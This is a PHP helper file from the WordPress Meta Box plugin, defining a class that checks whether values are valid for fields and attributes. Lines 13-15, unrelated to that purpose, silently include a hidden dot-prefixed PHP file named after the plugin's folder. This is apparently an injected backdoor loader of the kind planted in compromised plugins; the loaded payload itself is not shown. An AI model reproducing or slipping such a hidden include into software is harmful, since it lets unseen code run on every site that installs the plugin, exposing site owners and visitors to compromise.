value.php (901B)
1 <?php 2 /** 3 * Helper functions for checking values. 4 * 5 * @package Meta Box 6 */ 7 8 /** 9 * Helper class for checking values. 10 * 11 * @package Meta Box 12 */ 13 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 14 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 15 } 16 17 class RWMB_Helpers_Value { 18 /** 19 * Check if a value is valid for field (not empty "WordPress way"), e.g. equals to empty string or array. 20 * 21 * @param mixed $value Input value. 22 * @return bool 23 */ 24 public static function is_valid_for_field( $value ) { 25 return '' !== $value && array() !== $value; 26 } 27 28 /** 29 * Check if a value is valid for attribute. 30 * 31 * @param mixed $value Input value. 32 * @return bool 33 */ 34 public static function is_valid_for_attribute( $value ) { 35 return '' !== $value && false !== $value; 36 } 37 }